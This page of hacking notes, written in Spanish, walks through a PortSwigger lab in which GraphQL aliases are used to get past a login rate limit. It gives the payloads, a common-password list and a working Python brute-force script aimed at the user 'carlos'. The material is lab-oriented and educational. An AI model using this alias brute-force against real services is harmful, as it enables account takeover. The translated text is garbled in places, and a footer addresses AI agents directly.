> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/graphql/graphql-anti-brute-force-protection-bypass.md).

# Evasión de la protección anti-fuerza bruta de GraphQL

### Evasión de las protecciones de fuerza bruta de GraphQL

#### Contexto del laboratorio

El formulario de inicio de sesión del laboratorio está basado en una API **GraphQL** con un **límite de tasa**: después de varios intentos incorrectos, el endpoint devuelve un error que indica que debes esperar (p. ej., 1 minuto) antes de intentarlo de nuevo.

Propósito: **forzar el inicio de sesión** para conectarse como **carlos**, utilizando la lista de contraseñas proporcionada por los laboratorios de autenticación.

```json
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

#### (1) Observación de la solicitud GraphQL

Al interceptar la conexión, recuperamos una mutación del tipo:

```json
{
  "query": "/n    mutation login($input: LoginInput!) {/n        login(input: $input) {/n            token/n            success/n        }/n    }",
  "operationName": "login",
  "variables": {
    "input": {
      "username": "carlos",
      "password": "test"
    }
  }
}
```

Tras demasiados intentos incorrectos, la API responde con un error de limitación:

```json
{
  "errors": [
    {
      "path": [
        "login"
      ],
      "extensions": {
        "message": "Has realizado demasiados intentos de inicio de sesión incorrectos. Vuelve a intentarlo en 1 minuto(s)."
      },
      "locations": [
        {
          "line": 3,
          "column": 9
        }
      ],
      "message": "Excepción al obtener datos (/login): Has realizado demasiados intentos de inicio de sesión incorrectos. Vuelve a intentarlo en 1 minuto(s)."
    }
  ],
  "data": {
    "login": null
  }
}
```

<figure><img src="/files/625dffc897257eccb5a9486619266b662e4c3e8d" alt=""><figcaption></figcaption></figure>

### 2) ¿Por qué multiplicar campos?

Una idea natural es enviar varios `inicio de sesión` llamadas en **una sola mutación**.

<details>

<summary><a href="https://portswigger.net/web-security/authentication/auth-lab-passwords">Contraseñas de los laboratorios de autenticación</a></summary>

123456/ password/ 12345678/ qwerty/ 123456789/ 12345/ 1234/ 111111/ 1234567/ dragon/ 123123/ baseball/ abc123/ football/ monkey/ letmein/ shadow/ master/ 666666/ qwertyuiop/ 123321/ mustang/ 1234567890/ michael/ 654321/ superman/ 1qaz2wsx/ 7777777/ 121212/ 000000/ qazwsx/ 123qwe/ killer/ trustno1/ jordan/ jennifer/ zxcvbnm/ asdfgh/ hunter/ buster/ soccer/ harley/ batman/ andrew/ tigger/ sunshine/ iloveyou/ 2000/ charlie/ robert/ thomas/ hockey/ ranger/ daniel/ starwars/ klaster/ 112233/ george/ computer/ michelle/ jessica/ pepper/ 1111/ zxcvbn/ 555555/ 11111111/ 131313/ freedom/ 777777/ pass/ maggie/ 159753/ aaaaaa/ ginger/ princess/ joshua/ cheese/ amanda/ summer/ love/ ashley/ nicole/ chelsea/ biteme/ matthew/ access/ yankees/ 987654321/ dallas/ austin/ thunder/ taylor/ matrix/ mobilemail/ mom/ monitor/ monitoring/ montana/ moon/ moscow

</details>

Pero si repetimos el mismo campo sin distinción, GraphQL lo rechaza porque los campos serían ambiguos (mismo nombre en el mismo nivel).

```graphql
 mutation login($input: LoginInput!) {
        login(input: $input) {
            token
            success
        }
    }
```

<figure><img src="/files/62971055be10a423570889a0813afc2ed6e5733a" alt="" width="473"><figcaption></figcaption></figure>

Ejemplo inválido (estructura incorrecta / colisión de campos):

```graphql
mutation login {
  login(input: { username: "carlos", password: "test" }) {
    token
    success
  }
}
```

```graphql
mutation{
  login(input: { username: "carlos", password: "test" }) {
    token
    success
  }
}
  login(input: { username: "carlos", password: "hack" }) {
    token
    success
  }
}
```

<figure><img src="/files/51c437c03a2b38464189208e05af92f32695cfb6" alt=""><figcaption></figcaption></figure>

### 3) Contorneo: Uso de alias

GraphQL permite renombrar cada llamada usando **alias**. / Por lo tanto, puedes ejecutar **varios intentos de inicio de sesión en una sola solicitud HTTP**, lo que reduce el impacto del límite de tasa

Ejemplo válido:

```graphql
mutation login{
  loginTest: login(input: { username: "carlos", password: "test" }) {
    token
    success
  }

  loginHack: login(input: { username: "carlos", password: "hack" }) {
    token
    success
  }
}
```

Como resultado, la API procesa varias pruebas en una sola ventana para limitar el lado del bazo.

<figure><img src="/files/883a263bf4ca3050e0ece1ce1b558aa6f9c8f1e6" alt=""><figcaption></figcaption></figure>

### 4) Automatización (enfoque mediante script)

Principio:

* Construir `mutation login {... }`
* Añade una línea por contraseña:
* `login{i}: login(input: { username: "carlos", password: "..." }) { token success }`
* Enviar solicitud
* Explorar `data.login{i}` para encontrar `success: true`

```python
import requests
import time

url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1"
headers = {
    "Content-Type": "application/json",
    "Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
    "Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login",
    "Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net"
}

passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]

def brute_force_all_at_once():
    print("[*] Creando consulta GraphQL con todas las contraseñas...")

    query = "mutation login {/n"
    for i, pwd in enumerate(passwords):
        query += f'  login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{/n    token/n    success/n  }}/n'
    query += "}"

    print(f"[*] Longitud de la consulta: {len(query)} caracteres")
    print(f"[*] Probando {len(passwords)} contraseñas a la vez...")

    payload = {"query": query}

    start_time = time.time()

    try:
        response = requests.post(url, json=payload, headers=headers, timeout=10)

        if response.status_code == 200:
            data = response.json()

            for i, pwd in enumerate(passwords):
                result = data.get("data", {}).get(f"login{i}")
                if result and result.get("success"):
                    print("/n[+] ¡ÉXITO!")
                    print("[+] Usuario: carlos")
                    print(f"[+] Contraseña: {pwd}")
                    print(f"[+] Token: {result.get('token')}")
                    print(f"[+] Tiempo: {time.time() - start_time:.2f} segundos")
                    return True
            else:
                print("[-] Contraseña no encontrada en la lista")
        else:
            print(f"[-] Error HTTP: {response.status_code}")
            print(response.text[:200])

    except requests.exceptions.RequestException as e:
        print(f"[-] La solicitud falló: {e}")

    return False

if __name__ == "__main__":
    print("=" * 50)
    print("Ataque de fuerza bruta GraphQL")
    print("Usando alias para eludir la limitación de tasa")
    print("=" * 50)

    if brute_force_all_at_once():
        print("/n[+] ¡Ataque completado con éxito!")
    else:
        print("/n[-] Ataque fallido")
```

La contraseña encontrada para **carlos** es:

<figure><img src="/files/adc2f6285236eb5a74250b7c5d4944359df06101" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/graphql/graphql-anti-brute-force-protection-bypass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
